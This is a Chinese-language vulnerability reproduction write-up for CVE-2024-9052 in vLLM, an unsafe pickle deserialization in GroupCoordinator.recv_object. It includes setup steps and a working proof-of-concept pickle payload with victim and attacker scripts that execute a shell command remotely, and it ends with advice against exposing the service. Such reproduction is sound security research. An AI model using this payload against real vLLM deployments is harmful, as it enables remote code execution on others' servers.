1. 环境搭建
1.1 anaconda
在anaconda官网https://www.anaconda.com/download中填写邮件地址,随后点击邮件的连接下载相应版本即可
随后激活该环境
conda create -n vllm_beam python=3.10 -y #创建一个虚拟环境,用于vllm漏洞复现
conda activate vllm_beam # 环境切换
export TMPDIR=/home/kali/Desktop/anaconda/ #通过情况下,linux虚拟机中的/tmp挂载的文件系统大小是1G左右,无法满足vllm相关内容的所有下载,因此需要切换临时目录。
pip3 install https://github.com/vllm-project/vllm/releases/download/v0.6.4.post1/vllm-0.6.4.post1+cu118-cp38-abi3-manylinux1_x86_64.whl --extra-index-url https://download.pytorch.org/whl/cu118 -i https://pypi.tuna.tsinghua.edu.cn/simple
2. 漏洞介绍
vllm是一个快速且易于使用的LLM推理和服务库,它结合 iterative-level schedule (continuous batching) 和 PagedAttention 注意力算法以提高服务的吞吐量。前者(iterative-level schedule)以单轮迭代的方式对用户的请求进行处理,即 LLM 生成一个 token 后会重新调度并挑选要下一轮要处理的请求。后者(PagedAttention)受操作系统虚拟内存和分页思想启发,将原本连续的 KV cache 存储在不连续的空间,以避免 KV cache 带来的显存浪费。除开高性能,简单易用也是它的优势之一。
漏洞编号: CVE-2024-9052
点开连接,我们会发现该cve编号已经被保留了,具体的细节已经不见。
具体原因不详,我猜测可能是因为vllm社区并不认为这是一个漏洞;这么猜测的原因很简单,即使是现在最新的vllm版本,代码还没有被修改。
3. 漏洞成因
vllm开启分布式服务时,未对接收的序列化对象进行相应的校验、过滤,导致攻击者可以向vllm分布式服务发送恶意序列化对象造成RCE.
问题出现在vllm.distributed.GroupCoordinator.recv_object
函数当中
在该函数中,直接使用
pickle.loads
反序列化用户上传的json字符串为python对象。而模式方法会在一些特定的时候被执行,例如__reduce__,使用pickle.loads()进行反序列化时,会自动调用魔术方法__reduce__,因此在该方法中直接返回执行恶意指令,造成RCE。
class payload:
def __reduce__(self):
return (__import__('os').system, ("touch /tmp/1.txt",))
4. 漏洞复现
本地启动一个vllm分布式服务
from vllm.distributed import (ensure_model_parallel_initialized,
init_distributed_environment, get_world_group)
import vllm
init_distributed_environment(backend="gloo", distributed_init_method="tcp://0.0.0.0:29500", rank=1, world_size=2)
vllm.distributed.GroupCoordinator.recv_object(get_world_group(), src=0)
再编写一个攻击脚本,其代码如下:
from vllm.distributed import (ensure_model_parallel_initialized,
init_distributed_environment, get_world_group)
import vllm
class payload:
def __reduce__(self):
return (__import__('os').system, ("touch 1.txt",))
init_distributed_environment(backend="gloo", distributed_init_method="tcp://127.0.0.1:29500", rank=0, world_size=2)
vllm.distributed.GroupCoordinator.send_object(get_world_group(), obj=payload(), dst=1)
执行完成后,server目录下将出现1.txt文件
5. 启示
使用vllm时,需要注意不要将分布式服务暴露在公网上;如果要暴露,也要构建正确的鉴权机制。